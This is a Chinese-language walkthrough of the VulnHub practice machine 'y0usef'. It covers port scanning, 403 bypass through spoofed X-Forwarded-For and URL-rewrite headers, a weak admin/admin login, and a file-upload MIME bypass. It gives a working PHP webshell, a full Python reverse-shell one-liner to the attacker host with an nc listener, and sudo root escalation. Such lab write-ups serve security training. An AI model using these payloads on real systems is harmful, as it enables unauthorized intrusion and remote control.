靶機介紹
1)靶機地址:https://download.vulnhub.com/y0usef/y0usef.ova
2)靶機難度:低(低難度是指那些出現概率高、研究較為充分、學習資料豐富、需要熟練掌握并快速發現的漏洞型別,相比于高難度漏洞,低難度漏洞的威脅等級往往更高,因此每個滲透測驗者都必須精通熟練掌握)
3)打靶目標: 取得 root 權限 + 2 Flag
4)涉及攻擊方法:主機發現、埠掃描、WEB資訊收集、指紋探測、弱口令、403 Bypass、檔案上傳及繞過、base64編碼、本地提權
5)本次打靶程序主要說明檔案上傳和403繞過漏洞的利用方法
打靶程序
1)主機發現
# arp-scan -l

2)對目標主機進行全埠掃描
# nmap -p- 192.168.56.115

3)對目標主機開發的埠進行服務版本掃描
# nmap -p22,80 -sV -sC 192.168.56.115

4)對目標主機的80埠進行直接訪問,只回傳簡單頁面,手動對站點進行資訊搜集
http://192.168.56.115/
http://192.168.56.115/admin #404
http://192.168.56.115/rebots.txt #404
http://192.168.56.115/login #404
①訪問首頁,回傳頁面服下

②查看首頁源代碼,也未發現有價值內容(如有提示的注釋資訊、呼叫后端API的介面等)

5)通過whatweb小工具,查看目標服務器端的應用系統技術堆疊、架構等,
# whatweb http://192.168.56.115/

上述資訊顯示:服務器使用apache中間件,使用了Bootstrap前端框架、使用了Query庫,服務器端使用的是PHP的開發語言環境
6)針對目標服務器上隱藏的目錄、檔案進行爬取,爬取結果中出現了大量403的狀態碼(403表示拒絕訪問,大概率在目標系統上存在掃描到的檔案,但是因為服務器端權限限制的原因,使得未經身份認證的用戶,無法直接請求到存在于目標靶機的檔案)
# dirsearch -u http://192.168.56.115/

對于上述掃描出的301跳轉,直接訪問也顯示了forbidden,并且回傳回應碼也為403

補充:出現上述提示可以說明:客戶端所請求的檔案,在目標服務器上是存在的,但是因為開發人員做了相應的權限設定或者身份驗證等安全措施,當滲透測驗程序中,當服務端回傳403錯誤,可以進行403繞過測驗(bypass),常見403錯誤bypass方法
①使用旁站的方式嘗試繞過403的權限限制:先通過資訊搜集的方式,收集到目標企業可能使用的abc.com域下的其他主機名,如果目標系統的開發人員有可能只針對host頭部為www.abc.com的請求做了權限限制,但是對其他該域之下的主機名訪問相同的URL時,有可能目標服務器會相應正常的200狀態碼,
#Request
GET /auth/login HTTP/1.1
Host:www.abc.com
#Response
HTTP/1.1 403 Forbidden
#Request
GET /auth/login HTTP/1.1
Host:$xxx$.abc.com
#Response
HTTP/1.1 200 OK
②通過覆寫URL的方式進行403的繞過:因為有很多的web應用的目標程式,在進行權限控制時,只針對GET的具體的地址時,才進行地址的檢查和設定,但是第二種方式通過增加X-Original-URL頭部的方式最終訪問到了目標地址,但是GET引數卻是/,如果目標系統使用就是基于URL路徑,進行權限的限制,那么通過URL覆寫的方式即可進而繞過403的權限限制
#Request
GET /auth/login HTTP/1.1
#Response
HTTP/1.1 403 Forbidden
#Request
GET /auth/login HTTP/1.1
X-Original-URL: /auth/login
X-Rewrite-URL: /auth/login #URL重寫
ReFerer:https://xxx/auth/login #基于ReFerer頭部驗證
#Response
HTTP/1.1 200 OK
③通過一下X開頭的一些列頭部,基本都是非標準的HTTP頭部,這些頭部一般都代表,當訪問到目標服務器之前,經過了幾個反向的代理服務器的代理請求的記錄 ,通過對這些頭部的修改,來欺騙服務器,本次的http請求是由代理服務器本身發起的
#Request
GET / HTTP/1.1
Host:192.168.56.114
X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For:127.0.0.1
#Response
HTTP/1.1 200 OK
7)通過當前靶機,按照上述方法按個嘗試發現,只有通過設定X-Forwarded-For:127.0.0.1頭部是有效的,回傳的狀態碼變為了200
http://192.168.56.115/adminstration/
X-Forwarded-For:127.0.0.1

添加XFF頭部后,回傳頁面如下

8)按照上述登錄頁面,測驗是否存在弱口令:測驗發現,當用戶名和密碼均輸入admin時,可直接登入系統后臺,但登陸時,為了滿足權限驗證,需要在所有的請求資料包中,都增加X-Forwarded-For:127.0.0.1頭部資訊,

后臺頁面如下:

9)挨個對頁面中的鏈接進行測驗,發現了檔案上傳的頁面


補充:檔案上傳繞過常見方法
①修改上傳檔案擴展名
②修改檔案MIME型別
③在資料段添加真實的圖片的頭部資訊,再在最后的位置添加php的webshell內容(即圖片馬)
10)本次靶機檔案上傳繞過測驗中,發現可以通過修改MIME型別的方式進行webshell上傳,上傳資料包中同樣要添加XFF欄位內容,
#webshell腳本內容
<?php $var=shell_exec($_GET['cmd']); echo $var ?>

根據回傳的資訊的進行訪問,利用上傳的webshell執行系統命令
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls

11)反彈shell,突破系統邊界
①利用python執行反彈shell,先判斷服務器端有無python:根據回傳結果顯示,服務器端存在python
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python

②通過python代碼反彈shell
#反彈shell代碼:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
#瀏覽器訪問
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
#kali主機監聽
nc -lvvp 4444

成功獲取到shell

12)獲取到shell后,進行資訊搜集:查看用戶檔案中支持登錄的賬號,發現了一個yousef用戶
$ cat /etc/passwd|grep /bin/bash

13)進入home目錄后,發現存在一個flag檔案,但其內容為base64編碼
www-data@yousef-VirtualBox:/$ cd /home
www-data@yousef-VirtualBox:/home$ ls
user.txt yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
14)對base64編碼進行解碼發現了一個ssh的用戶名和密碼

15)通過上述賬號,直接ssh登錄目標服務器
# ssh [email protected]

16)通過查看發現該用戶存在sudo權限配置,且yousef用戶可以運行系統上的所有命令,直接通過sudo -s將該用戶提升至root用戶,獲取到flag
yousef@yousef-VirtualBox:~$ sudo -l
yousef@yousef-VirtualBox:~$ sudo -s
root@yousef-VirtualBox:~# cd /home/
root@yousef-VirtualBox:/home# cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/540194.html
標籤:其他
